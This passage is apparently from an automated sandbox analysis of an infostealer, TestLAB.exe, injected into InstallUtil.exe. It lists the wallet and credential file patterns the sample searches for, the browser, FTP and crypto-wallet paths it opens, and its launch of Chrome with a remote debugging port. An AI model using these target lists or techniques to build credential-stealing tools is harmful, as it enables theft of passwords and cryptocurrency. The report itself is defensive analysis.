Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 4_2_0040DE1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\Desktop\TestLAB.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00417652 SetFilePointer,SetFilePointer,GetLocalTime,SystemTimeToFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z, 4_2_00417652
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_00414E31 EntryPoint,GetUserNameW,GetComputerNameW, 4_2_00414E31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 4_2_0040DDBF GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 4_2_0040DDBF
Source: C:\Users\user\Desktop\TestLAB.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information

barindex
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: 4.2.InstallUtil.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.TestLAB.exe.43eb830.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.2388266536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2011205715.00000000043EB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: TestLAB.exe PID: 7276, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 7688, type: MEMORYSTR
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000B78000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: *wallet*.*,*seed*.*,*btc*.*,*key*.*,*2fa*.*,*crypto*.*,*coin*.*,*private*.*,*2fa*.*,*auth*.*,*ledger*.*,*trezor*.*,*pass*.*,*wal*.*,*upbit*.*,*bcex*.*,*bithimb*.*,*hitbtc*.*,*bitflyer*.*,*kucoin*.*,*huobi*.*,*poloniex*.*,*kraken*.*,*okex*.*,*binance*.*,*bitfinex*.*,*gdax*.*,*ethereum*.*,*exodus*.*,*metamask*.*,*myetherwallet*.*,*electrum*.*,*bitcoin*.*,*blockchain*.*,*coinomi*.*,*words*.*,*meta*.*,*mask*.*,*eth*.*,*recovery*.*
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \ElectronCash\wallets\
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \Electrum\wallets\
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: exodus.conf.json
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \Exodus\
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: info.seco
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ElectrumLTC
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: passphrase.json
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \Ethereum\
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000B78000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: *wallet*.*,*seed*.*,*btc*.*,*key*.*,*2fa*.*,*crypto*.*,*coin*.*,*private*.*,*2fa*.*,*auth*.*,*ledger*.*,*trezor*.*,*pass*.*,*wal*.*,*upbit*.*,*bcex*.*,*bithimb*.*,*hitbtc*.*,*bitflyer*.*,*kucoin*.*,*huobi*.*,*poloniex*.*,*kraken*.*,*okex*.*,*binance*.*,*bitfinex*.*,*gdax*.*,*ethereum*.*,*exodus*.*,*metamask*.*,*myetherwallet*.*,*electrum*.*,*bitcoin*.*,*blockchain*.*,*coinomi*.*,*words*.*,*meta*.*,*mask*.*,*eth*.*,*recovery*.*
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000B78000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: *wallet*.*,*seed*.*,*btc*.*,*key*.*,*2fa*.*,*crypto*.*,*coin*.*,*private*.*,*2fa*.*,*auth*.*,*ledger*.*,*trezor*.*,*pass*.*,*wal*.*,*upbit*.*,*bcex*.*,*bithimb*.*,*hitbtc*.*,*bitflyer*.*,*kucoin*.*,*huobi*.*,*poloniex*.*,*kraken*.*,*okex*.*,*binance*.*,*bitfinex*.*,*gdax*.*,*ethereum*.*,*exodus*.*,*metamask*.*,*myetherwallet*.*,*electrum*.*,*bitcoin*.*,*blockchain*.*,*coinomi*.*,*words*.*,*meta*.*,*mask*.*,*eth*.*,*recovery*.*
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: MultiDoge
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \Exodus\exodus.wallet\
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: seed.seco
Source: TestLAB.exe, 00000000.00000003.1977249191.00000000046BA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: set_UseMachineKeyStore
Source: InstallUtil.exe, 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\temporary\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\to-be-removed\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Exodus\backups\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Source: Yara match File source: 00000004.00000002.2389518056.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 7688, type: MEMORYSTR

Remote Access Functionality

barindex
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: 4.2.InstallUtil.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.TestLAB.exe.43eb830.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.2388266536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2011205715.00000000043EB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: TestLAB.exe PID: 7276, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 7688, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs